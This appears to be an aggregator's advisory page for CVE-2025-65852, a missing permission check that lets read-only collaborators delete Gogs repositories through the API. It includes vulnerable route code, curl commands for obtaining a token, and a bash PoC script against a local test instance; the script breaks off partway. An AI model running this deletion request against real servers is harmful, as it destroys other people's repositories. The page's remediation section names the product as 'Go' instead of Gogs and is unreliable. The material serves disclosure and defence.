CVE-2025-65852
Go vulnerability
### Summary The DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository. This vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin(). ### Details 0. vulnerability location: - Vulnerable Endpoint:DELETE /api/v1/repos/:owner/:repo - Routing configuration file: internal/route/api/v1/api.go (approximately line 253) - Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338) 1. Root Cause Analysis Code Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253) ```go // 当前的路由配置(存在漏洞) m.Delete("", repo.Delete) // 仅继承了外层的 repoAssignment() 中间件 ``` Code Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338) ```go // Delete 函数内部没有额外的权限检查 func Delete(c *context.APIContext) { // 直接执行删除操作,未验证用户是否为所有者 if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil { c.Error(500, "DeleteRepository", err) return } c.Status(204) } ``` 2. Missing Permission Check Comparison with route configurations for other sensitive operations: ```go // Webhooks 管理(正确实现) m.Group("/hooks", func() { m.Combo(""). Get(repo.ListHooks). Post(bind(api.CreateHookOption{}), repo.CreateHook) }, reqRepoAdmin()) // ✅ 使用了权限中间件 // 部署密钥管理(正确实现) m.Group("/keys", func() { m.Combo(""). Get(repo.ListDeployKeys). Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey) }, reqRepoAdmin()) // ✅ 使用了权限中间件 // 删除仓库(漏洞) m.Delete("", repo.Delete) // ❌ 没有使用权限中间件 ``` 3. Data Flow Path - API Request Path: DELETE /api/v1/repos/:owner/:repo - Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed). - Execution: The system directly executes the repo.Delete() function. - Permission Check: The reqRepoOwner() middleware check is missing. - Internal Validation: There is no permission validation inside the Delete() function either. - Result: Any user with read permission can delete the repository. ### PoC Prerequisites - A running Gogs instance. - The attacker's account is added as a collaborator to the target repository (Read access is sufficient). - The attacker possesses a valid API access token. - The target repository exists and is accessible. 📜 Test Steps (Bash) 1. Verify Gogs service is running curl -I http://localhost:10880 2. Create test accounts and repository - Owner account: owner / owner123456 - Read-only account: victim / victim123456 - Test repository: owner/delete-test <img width="1580" height="832" alt="image" src="https://github.com/user-attachments/assets/d1babac8-d952-4765-ba34-d4891c12b8db" /> 3. Add 'victim' as a read-only collaborator Perform this via the Web UI or API <img width="1597" height="725" alt="image" src="https://github.com/user-attachments/assets/f76db1d4-9e45-4a97-af22-50db124ec4d0" /> <img width="1597" height="760" alt="image" src="https://github.com/user-attachments/assets/f6ef3bd9-47d4-4202-bf10-2022be557f16" /> 4. Obtain API token for 'victim' curl -X POST http://localhost:10880/api/v1/users/victim/tokens \ -u victim:victim123456 \ -H "Content-Type: application/json" \ -d '{"name":"test-token"}' 5. Resource deleted <img width="1602" height="483" alt="image" src="https://github.com/user-attachments/assets/3e77aaaa-ffbc-4521-be4b-9a62f36499ff" /> Web UI:Target repository deletion successful <img width="1581" height="853" alt="image" src="https://github.com/user-attachments/assets/fbd6b4a4-c874-44f9-9b6e-765371eddcc7" /> 📜 PoC Script ```bash #!/bin/bash # Gogs 仓库删除授权绕过漏洞 PoC # ============ 配置信息 ============ GOGS_URL="http://localhost:10880" TARGET_REPO="owner/delete-test" VICTIM_TOKEN="your_victim_read_only_token_here" # ============ 执行攻击 ============ echo "========================================" echo "Gogs 仓库删除授权绕过漏洞 PoC" echo "===========
Affected products
Go. The exact versions are in the references.
What to do now
- Check your exposureFind out whether Go runs anywhere in your environment, including systems of suppliers.
- UpdateInstall the version in which the vendor fixed the vulnerability. The references lead to the advisory.
- Set the orderSystems that can be reached from the internet come first, then the rest.
References
Data: CVE list and the NVD. This product uses data from the NVD API but is not endorsed or certified by the NVD.